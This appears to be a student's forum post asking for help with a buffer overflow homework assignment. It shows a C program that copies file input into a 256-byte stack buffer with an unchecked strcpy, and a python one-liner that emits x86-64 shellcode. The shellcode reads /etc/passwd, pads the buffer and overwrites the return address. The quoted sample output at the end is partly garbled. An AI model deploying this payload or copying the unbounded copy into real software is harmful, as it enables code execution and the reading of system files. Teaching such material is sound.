I am trying to inject the file contents shown below into the code by way of buffer overflow. Here is my progress so far, I would love to have some help finishing this assignment.
I am getting to the point where i am segfaulting at the strcpy(buffer, input). Anyone know of ways I can get around this? I ask since i can't think of any other ways than using gets() for injecting code.
Also I am running into issues on how I would change the buffer address of the dataFile as said in the assignment
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(void){
char *input = NULL;
size_t length = 0;
int size = 0;
FILE *stream;
char *dataFile = "hw11.data";
stream = fopen(dataFile, "r");
printf("before scan\n");
char buffer[256];
getline(&input, &length, stream);
printf("address: %p\n", buffer);
printf("input: \n%s\n", input);
strcpy(buffer, input);
printf("output: \n%p\n", buffer);
}
Hw11.data file below
python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + "\x7f\xff\xff\xff\xe0\x00"[::-1]'
This is the assignment that was given
For this assignment you will write a program that loads the injected code we used in class. However, your program must prevent any buffer overlow. Rules:
- The data file will be called hw11.data
- Your buffer must be a static array of length 256
- Your code MUST display the buffer address, the input data, and the final buffer contents.
- You must change the address in the data file to match the address of the buffer.
- Your output must be formatted as shown below (your contents may be slightly different due to text mode character limitations and address changes):
Buffer Address: 0x7fffffffe000
File Contents: <'python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\ x48\ x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\ x8d\x34\ x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\ x0f\x05\x48\ x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\ x01\x0f\x05\x48\ x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\ x65\x74\x63\x2f\x70\ x61\x73\x73\x77\x64\x41" + "A" * 182 + "\x7f\ xff\xff\xff\xe0\x00"[::-1]' >
Buffer Contents: <'python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\ x48\ x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\ x8d\x34\x24\ x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\ x0f\x05\x48\x31\xff\ x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\ x01\x0f\x05\x48\xpa???>